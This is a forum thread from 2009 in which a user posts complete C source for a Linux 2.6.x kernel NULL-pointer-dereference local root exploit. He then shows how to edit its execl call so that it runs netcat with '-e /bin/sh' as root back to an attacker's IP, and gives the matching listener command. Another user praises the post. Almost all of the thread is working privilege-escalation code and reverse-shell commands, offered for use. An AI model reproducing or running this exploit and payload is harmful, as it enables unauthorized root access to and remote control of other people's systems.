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www.waraxe.us Forum Index -> C and C++ -> netcat with local root exploit for kernel 2.6.x
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netcat with local root exploit for kernel 2.6.x
PostPosted: Sun Aug 16, 2009 1:16 pm Reply with quote
julioisaias
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Joined: Jan 25, 2008
Posts: 51
Location: Ciudad del Este, Paraguay




netcat with local root exploit for kernel 2.6.x

Well, there are many ways to do it, but I'm going to show that I had tested. This is the code 'Przemyslaw Frasunek' which talks about Linux NULL pointer dereference. The hole was discovered by google security team and is based on vmsplice of qaaz.

I've made a Reverse Bind Shell with netcat, "embedded" in the exploit. It is very simple to change a few lines to do it. In this way, executing commands directly with root privilegies.

Consider the following code, Local Root Exploit for kernel 2.6.x:

Code:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/user.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <inttypes.h>
#include <sys/reg.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/personality.h>

static unsigned int uid, gid;

#define USER_CS   0x73
#define USER_SS   0x7b
#define USER_FL   0x246
#define STACK(x) (x + sizeof(x) - 40)

void exit_code();
char exit_stack[1024 * 1024];

static inline __attribute__((always_inline)) void *get_current()
{
   unsigned long curr;
   __asm__ __volatile__ (
      "movl %%esp, %%eax ;"
      "andl %1, %%eax ;"
      "movl (%%eax), %0"
      : "=r" (curr)
      : "i" (~8191)
   );
   return (void *) curr;
}

static inline __attribute__((always_inline)) void exit_kernel()
{
   __asm__ __volatile__ (
      "movl %0, 0x10(%%esp) ;"
      "movl %1, 0x0c(%%esp) ;"
      "movl %2, 0x08(%%esp) ;"
      "movl %3, 0x04(%%esp) ;"
      "movl %4, 0x00(%%esp) ;"
      "iret"
      : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
          "i" (USER_CS), "r" (exit_code)
       );
}

void kernel_code()
{
   int i;
   uint *p = get_current();

   for (i = 0; i < 1024-13; i++) {
      if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
          p[0] = p[1] = p[2] = p[3] = 0;
         p[4] = p[5] = p[6] = p[7] = 0;
         p = (uint *) ((char *)(p + 8) + sizeof(void *));
         p[0] = p[1] = p[2] = ~0;
         break;
      }
      p++;
   }

   exit_kernel();
}

void exit_code()
{
   if (getuid() != 0) {
      fprintf(stderr, "failed\n");
      exit(-1);
   }

   execl("/bin/sh", "sh", "-i", NULL);
}

int main(void) {
   char template[] = "/tmp/padlina.XXXXXX";
   int fdin, fdout;
   void *page;

   uid = getuid();
   gid = getgid();
   setresuid(uid, uid, uid);
   setresgid(gid, gid, gid);

   if ((personality(0xffffffff)) != PER_SVR4) {
      if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
         perror("mmap");
         return -1;
      }
   } else {
      if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
         perror("mprotect");
         return -1;
      }
   }

   *(char *)0 = '\x90';
   *(char *)1 = '\xe9';
   *(unsigned long *)2 = (unsigned long)&kernel_code - 6;

   if ((fdin = mkstemp(template)) < 0) {
      perror("mkstemp");
      return -1;
   }

   if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
      perror("socket");
      return -1;
   }

   unlink(template);
   ftruncate(fdin, PAGE_SIZE);
   sendfile(fdout, fdin, NULL, PAGE_SIZE);
}


If you follow a few lines, we can see some subroutines as void exit_code (), and in context, we can see the function execl.


Code:
execl("/bin/sh", "sh", "-i", NULL);



This function replaces the current process image with a new process image. In other words, it executes the program pointed to by filename. However, for this exploit, we can modify it by inserting commands. For example: iptables, but this time, I will show with netcat only. It's easy to change, it's like playing with the arguments.

Code:
execl("/bin/sh", "sh", "-c", "./nc -e /bin/sh XXX.XXX.XXX.XXX port");


Where XXX.XXX.XXX.XXX is your IP for Reverse Bind, nc is netcat binary, that is at the same directory. Then, we compile, so, netcat runs with root privileges. On the other hand, will be waiting with netcat, of course.

Code:
~# nc -v -l -n -p port


Well, this is not a good idea, is not a good way. There are other ways, but I think it can be something. This is Complete exploit source

Feedback is welcome.


Last edited by julioisaias on Sun Aug 16, 2009 7:34 pm; edited 1 time in total

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PostPosted: Sun Aug 16, 2009 1:29 pm Reply with quote
gibbocool
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Joined: Jan 22, 2008
Posts: 208




Good work.

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netcat with local root exploit for kernel 2.6.x
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